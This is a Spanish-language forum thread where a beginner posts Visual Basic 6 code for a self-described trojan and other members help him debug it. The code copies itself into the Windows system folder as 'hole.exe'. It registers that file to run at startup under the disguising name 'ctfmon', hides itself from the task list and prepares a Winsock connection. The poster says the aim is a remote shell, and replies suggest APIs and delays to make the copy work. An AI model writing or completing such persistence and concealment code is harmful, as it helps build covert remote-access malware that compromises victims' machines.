veran, estoy siguiendo un tutorial que anda por aqui sobre como crear un troyano, pero le estoy haciendo a m manera tomando alguna idea del manual
El error se me genera al copiar un archivo que se aloja en una variable, aqui esta el code:
Private Sub Form_Load()
Dim ip As String, port As Integer
Dim dioxis As String
Dim win, sys, residencia
ip = "192.168.6.100"
port = 666
dioxis = App.Path
ip = wsk.RemoteHost
port = wsk.RemotePort
If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy dioxis, sys & "\hole"
Name sys & "\hole" As sys & "\hole.exe"
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "ctfmon", sys & "\hole.exe"
App.TaskVisible = False
End Sub
he revisado y rerevisado el codigo pero no encuentro el error
Nose hehe
pero para comprobar si el app esta bien hace esto:
Debajo de este codigo:
If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"
Pone:
Msgbox dioxis
Y ya ves si esta bien la dir o mal.
Salu2
Ranslsad
PAra verificar si existe un Directorio, Archivo o no se yo lo que desees usa:
if dir(RutaEXE/Directorio,tipo) then
'Si Existe
else
'No Existe
end if
Este solo corrige el directorio residente del archivo para posteriormente concatenar solamente el nombre/extensión
If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"
Saludos, Dulces Lunas
a si si quieres alojar una rchivo en una variable usa
Open Ruta for binary as 1
get 1,,Variable
close 1
'Procesos deseados
Lo que tu haces es solo almacenar la ruta del archivo.
Saludos, Dulces Lunas
usa Apis y problema arreglado
Esos es un copy paste de el manual de Xenon :silbar:
Prueba con la api CopyFile
http://allapi.mentalis.org/apilist/CopyFile.shtml
esa pàrte es la que he tenido que copiar ya que me daba muchos errores
estoy haciendo una obtencion de una shell remota, ya que me dio la idea al ver en el manual que poniendo tu paint, le ejecutabas el paint jeje, y se me ocurrio asi hacer una shell remota, lo unico copiado es este trozo, el que tengo que copiar y poner en el registro...etc
como seria con una api
sorry por mi escasa habilidad con vb, he empezado hace pocos dias
-------------------------------
edito, antes del filecopy he puesto un msbox y este es su resultado
(http://img41.imageshack.us/img41/5517/ejec.jpg)
y justo despues, aqui el error
(http://img41.imageshack.us/img41/2902/ejec2.jpg)
----------------------
reedito de nuevo, al compilar ahora me deja, antes nose porque no, pero ahora si
No te digo que este sea el caso, pero algunos errores (aleatorios) similares a el tuyo los solucione haciendo una pausa de un par de segundos antes del Filecopy
Dim x As Long: x = Round(Timer): While Round(Timer) < x + 2: DoEvents: Wend
Saludos
PD: si usas API mejor